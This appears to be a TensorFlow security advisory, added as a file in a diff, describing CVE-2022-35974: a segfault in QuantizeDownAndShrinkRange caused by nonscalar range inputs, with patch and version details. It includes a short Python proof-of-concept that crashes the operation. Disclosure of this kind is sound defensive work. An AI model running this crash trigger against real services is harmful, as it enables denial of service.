+## TFSA-2022-108: Segfault in `QuantizeDownAndShrinkRange`
+
+### CVE Number
+CVE-2022-35974
+
+### Impact
+If `QuantizeDownAndShrinkRange` is given nonscalar inputs for `input_min` or `input_max`, it results in a segfault that can be used to trigger a denial of service attack.
+```python
+import tensorflow as tf
+
+out_type = tf.quint8
+input = tf.constant([1], shape=[3], dtype=tf.qint32)
+input_min = tf.constant([], shape=[0], dtype=tf.float32)
+input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
+tf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type)
+```
+
+### Patches
+We have patched the issue in GitHub commit [73ad1815ebcfeb7c051f9c2f7ab5024380ca8613](https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613).
+
+The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
